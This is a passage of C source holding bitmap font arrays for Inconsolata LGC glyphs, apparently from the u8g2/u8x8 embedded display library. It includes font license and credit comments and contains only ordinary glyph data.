"\0\0\0\0\0\70<\77\77\77;\71\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\370\376\377\377\7\3\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\200\340\377\377\177\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\17=\375\370\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77~xxpppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\3\3\17\377\377\376\360\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\300\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\375\37\17\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0ppppppxx>\77\37\17\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\200\300\200\0\0\0\6\17\17\3\3\1\1\1\3\7\7" "\17\36\36\34\34\36\16\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr33_3x6_n[3892] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_n") = " :\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\30\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\16\17\16\36\34\34\70\270\360\377\377" "\367\270\70\30\34\34\16\16\17\10\0\0\0\0\0`p\370~\37\17\3\1\0\3\7\37>\374x`\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0\0ppppppppp\377\377\377\377pppppppp\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<~\376\376\374p\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0 x<\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\360\340 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\300\360\374\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\370\376\77\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\370" "\374\376\37\17\7\3\1\1\1\3\3\207\377\376\374\360\300\0\0\0\0\376\377\377\377\0\0\0\0\300\340\360" "x\36\17\7\1\1\377\377\377\374\0\0\0\7\177\377\377\370\374\36\17\7\1\0\0\0\0\0\200\360\377\377" "\77\3\0\0\0\0\0\1\3\7\17\37\36<\70\70\70<\34\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\14\16\16\17\7\7\7\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\16" "\37\17\7\3\3\1\1\1\1\3\3\7\37\377\376\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\360\374\77\37\17\1\0\0\0\0\0\0\0\200\300\340\360\370<\36\17\7\3\1\1\0\0\0\0" "\0\0\0\0\0\0\70>\77\77;\71\70\70\70\70\70\70\70\70\70\70\70\70<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\2\7\7\3\3\1\1\1\1\1\3\7\17\377\376\374p" "\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70x||\376\357\347\307\201\0\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\201\377\377\377\376\0\0\0\0\0\0\4\17\37\36\34<\70\70\70\70" "<<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\300\360\370>\17\377\377\377\377\0\0\0\0\0\0\0\0\0\200\340\360|>\17\7\1\0" "\0\0\377\377\377\377\0\0\0\0\0\0\0\34\37\37\37\35\34\34\34\34\34\34\34\34\377\377\377\377\34\34" "\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\77\177\77\77\34\16\16\16\16\16\36\36<\374\370\360\340\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\177\0\0\0\0\0\3\7\17\36\36\34<\70\70\70" "<<\34\36\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\340" "\370\374~\37\7\3\3\1\1\1\1\3\3\7\3\3\0\0\0\0\0\0\377\377\377\377p\70\34\36\16\16" "\16\16\36>|\370\360\340\200\0\0\0\0\0\37\377\377\377\300\0\0\0\0\0\0\0\0\0\200\377\377\377" "\177\0\0\0\0\0\0\0\3\7\17\37\36<\70\70\70<<\36\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\301\361\377\377\77\7\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60>\77\77\17\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\360" "\374\376\377\17\3\3\1\1\1\1\3\3\17\377\377\374x\0\0\0\0\0\0\0\3\207\317\377\376|\70\70" "px\374\376\317\317\207\1\0\0\0\0\0\0\370\376\377\377\3\1\0\0\0\0\0\0\0\0\1\207\377\377" "\376\370\0\0\0\0\0\3\7\17\37\36<<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\374\376\377\17\7\3\3\1\1\1\3\3\17\37\376\374\360" "\200\0\0\0\0\0\17\77\177\377\360\340\300\300\200\200\200\300\300\340p\377\377\377\377\0\0\0\0\0\0\0" "\0\0\1\1\3\3\3\3\3\3\1\0\340\377\377\177\17\0\0\0\0\0\0\14\36\36\34<\70\70\70\70" "<\34\36\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77" "\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ #ifdef U8G2_USE_LARGE_FONTS const uint8_t u8x8_font_inr46_4x8_f[57348] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_f") = " \377\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\374\374\374\370\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\377\77\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\17\17\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\360\0\0\0\0\0\0\0\0\360\370\370\370\360\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\300\300\300\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\1\0\0\0\0\0\0\0\377\377\377\377\17\0" "\0\0\0\0\0<<<<<<<<\377\377\377\377=<<<<<<<\376\377\377\377\77<<" "<<<<\0\0\0\0\0\0\0\0\377\377\377\377\3\0\0\0\0\0\0\0\374\377\377\377\37\0\0\0" "\0\0\0\0\70\70\70\70\70\70\70\376\377\377\377\77\70\70\70\70\70\70\70\374\377\377\377\37\34\34\34\34" "\34\34\34\0\0\0\0\0\0\0\376\377\377\377\7\0\0\0\0\0\0\0\370\377\377\377\37\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\6\7\7\7\7\0\0\0\0\0\0\0\0\7\7\7\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\10\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\360\370\374\374>\36\37\17\17\377\377\377\377\17\17\17\37\36>~\374\374\370" "p \0\0\0\0\0\37\177\377\377\377\370\340\300\200\0\0\377\377\377\377\0\0\0\0\0\0\0\0\1\0" "\0\0\0\0\0\0\0\0\0\1\3\3\7\17\17\37\37\37\377\377\377\377||\370\370\370\360\360\340\340\300" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\1\3\17\377\377" "\377\377\374\0\0\0\30>\77~\374\370\360\360\340\340\340\340\377\377\377\377\340\340\340\360\360\370\374\177\77\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\77\77\77\77\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300" "\300\300\0\0\360\374\377\377\17\7\7\3\7\7\37\377\377\377\374\360\0\0\0\0\0\300\360\374\377\177\37\7" "\1\0\0\0\3\17\77\177|\370\370\360\370\370\374\177\177\77\17\3\200\340\370\374\377\77\17\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\177\37\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\360\374\377\77\17\7\1\0\200\340\370\374|>\36\36\36>|" "\374\370\340\200\0\0\0\200\340\370\376\177\37\17\3\0\0\0\0\0\0\77\377\377\377\340\200\200\200\200\200\340" "\377\377\377\77\0\4\6\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\17\7\7\7" "\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\374\376\377\377\37\17\7\7\7\7\7\7\17\77\377\377\376\374\360\0\0\0\0" "\0\0\0\0\0\0\0\0\17\77\177\377\377\374\360\300\200\0\0\200\300\340\370\377\377\177\77\17\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\371\373\177\77\77\177\377\377\377\367\347\203\1\0\0\0\0\0\0\0\0" "\200\200\0\0\340\374\376\377\377\77\7\3\0\0\0\0\0\0\1\7\17\37\77\377\376\370\360\340\300\340\360\374" "\377\177\77\16\17\77\177\377\377\374\360\340\300\200\200\200\200\200\200\300\300\340\340\360\371\377\177\77\77\177\377\377" "\361\340\300\200\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0\0\0\0\1\7" "\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\37\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\370x`" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\177\77\17\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\177\37\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377\377\376\360\300\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77\377\377\374\370\360\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77>~\374\70" "\10\0\0\0\0\0\0\0\360\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\37\177\377\376\374\370\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\377\377\377\377\374\0\0\0\0" 